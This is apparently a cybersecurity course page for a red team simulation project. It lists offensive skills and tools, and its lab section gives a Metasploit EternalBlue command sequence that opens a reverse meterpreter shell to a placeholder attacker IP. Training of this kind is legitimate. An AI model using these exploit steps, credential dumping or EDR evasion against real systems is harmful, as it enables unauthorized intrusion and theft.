Project 11: Red Team Simulation & Adversarial Tactics
Simulate real-world cyberattacks, exploit vulnerabilities, and practice adversarial tactics in a controlled environment.
Project 11: Red Team Simulation & Adversarial Tactics
Simulate real-world cyberattacks, exploit vulnerabilities, and practice adversarial tactics in a controlled environment.
Red Team Simulation & Adversarial Tactics
Overview
This project immerses students in offensive cybersecurity operations by simulating real-world cyberattacks. Participants will emulate adversaries, exploit vulnerabilities, escalate privileges, and move laterally across networks—all while avoiding detection.
Understanding red team tactics is critical for security professionals to learn how attackers think and operate. This knowledge strengthens penetration testing, ethical hacking, and blue team defensive strategies.
What You Will Learn
- Gaining initial access via social engineering, misconfigurations, and exploits
- Privilege escalation using kernel exploits, misconfigured permissions, and credential theft
- Lateral movement across compromised networks
- Defensive evasion techniques to bypass AV/EDR solutions
- Simulating real-world adversaries using MITRE ATT&CK framework
Hands-On Learning
Students will gain experience using:
- Metasploit Framework for exploitation & post-exploitation
- BloodHound & SharpHound for Active Directory privilege escalation
- CrackMapExec & Mimikatz for credential dumping and lateral movement
- Sliver & Covenant C2 frameworks for adversarial simulation
- EDR/AV evasion techniques using PowerShell obfuscation
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Red Team Simulation & Adversarial Tactics Lab
Red Team Simulation & Adversarial Tactics Lab Overview This lab focuses on offensive security techniques used by adversaries to compromise systems, escalate privileges, and move laterally in a network. Students will use real-world tools to simulate cyberattacks in a controlled environment. Lab Instructions 1. Setting Up Your Red Team Environment You will need: A Kali Linux VM (or Parrot Security OS) A Windows Attack Target (Windows 10/11 VM or Active Directory lab) Preinstalled tools: Metasploit, BloodHound, Sliver, CrackMapExec 2. Gaining Initial Access Step 1: Exploit a Remote Service (Metasploit) msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS [target_ip] set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [attacker_ip] exploit 📝 Proof of Completion: Take a screenshot of a successful session. ...